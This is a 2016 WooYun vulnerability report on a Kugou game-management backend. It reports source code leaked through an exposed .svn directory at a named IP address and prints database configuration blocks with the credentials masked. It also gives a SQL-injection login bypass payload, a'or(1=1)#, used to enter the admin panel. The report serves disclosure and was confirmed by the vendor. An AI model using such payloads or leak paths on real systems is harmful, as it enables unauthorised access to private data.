当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：
wooyun-2016-0192654
漏洞标题：
酷狗某后台源代码泄露及SQL注入（影响大量内部信息）
相关厂商：
酷狗
漏洞作者：
kobin97
提交时间：
2016-04-05 13:10
修复时间：
2016-05-20 16:00
公开时间：
2016-05-20 16:00
漏洞类型：
敏感信息泄露
危害等级：
高
自评Rank：
20
漏洞状态：
厂商已经确认
漏洞来源：
http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签：
无
分享漏洞：
4人收藏 收藏
分享漏洞：
>

漏洞详情

披露状态：

2016-04-05： 细节已通知厂商并且等待厂商处理中
2016-04-05： 厂商已经确认，细节仅向厂商公开
2016-04-15： 细节向核心白帽子及相关领域专家公开
2016-04-25： 细节向普通白帽子公开
2016-05-05： 细节向实习白帽子公开
2016-05-20： 细节向公众公开

简要描述：

酷狗某后台源代码泄露及SQL注入

详细说明：

http://183.232.64.203/?r=login/index
svn 泄露
http://183.232.64.203/.svn/entries 

//管理员数据库
    $dbConfig['gamemanage'] = array(
        'DB_TYPE' => 'mysql',
        'DB_CHARSET' => 'utf8',
        'DB_PERSISTENT' => false,
        'DB_HOST'=>'10******',
        'DB_USER'=>'k******',
        'DB_PASSWD'=>'k******',
        'DB_NAME'=>'d******',
    );
    
    $dbConfig['mobilegame_channel'] = array(
        'DB_TYPE' => 'mysql',
        'DB_CHARSET' => 'utf8',
        'DB_PERSISTENT' => false,
        'DB_HOST'=>'10******',
        'DB_USER'=>'ku******',
        'DB_PASSWD'=>'ku******',
        'DB_NAME'=>'mo******',
    );
    
    $dbConfig['mobilegames'] = array(
        'DB_TYPE' => 'mysql',
        'DB_CHARSET' => 'utf8',
        'DB_PERSISTENT' => false,
        'DB_HOST'=>'10******',
        'DB_USER'=>'k******',
        'DB_PASSWD'=>'k******',
        'DB_NAME'=>'mo******',
    );
    
    // InfoBright`GameCenterLogs`数据库配置
    $dbConfig['gcapi_logs'] = array(
        'DB_TYPE' => 'mysql',
        'DB_CHARSET' => 'utf8',
        'DB_PERSISTENT' => false,
        'DB_HOST' => '1******',
        'DB_PORT' => 8839,
        'DB_USER' => 'g******',
        'DB_PASSWD' => 'A******',
        'DB_NAME' => 'G******',
    );
    
    //酷狗内嵌游戏数据库
    $dbConfig['mobilelog'] = array(
        'DB_TYPE' => 'mysql',
        'DB_CHARSET' => 'utf8',
        'DB_PERSISTENT' => false,
        'DB_HOST'=>'10******',
        'DB_USER'=>'k******',
        'DB_PASSWD'=>'U******',
        'DB_NAME'=>'mo******',
    );
    
    //酷狗内嵌游戏数据库从库
    $dbConfig['mobilelog_slave'] = array(
        'DB_TYPE' => 'mysql',
        'DB_CHARSET' => 'utf8',
        'DB_PERSISTENT' => false,
        'DB_HOST'=>'10******',
        'DB_PORT'=>3306,
        'DB_USER'=>'ku******',
        'DB_PASSWD'=>'U******',
        'DB_NAME'=>'mo******',
    );


漏洞证明：

用户名： a'or(1=1)# 登陆进入后台

k1.png

修复方案：

您们懂得!

版权声明：转载请注明来源 kobin97@乌云

>

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：7

确认时间：2016-04-05 15:50

厂商回复：

非常感谢

最新状态：

暂无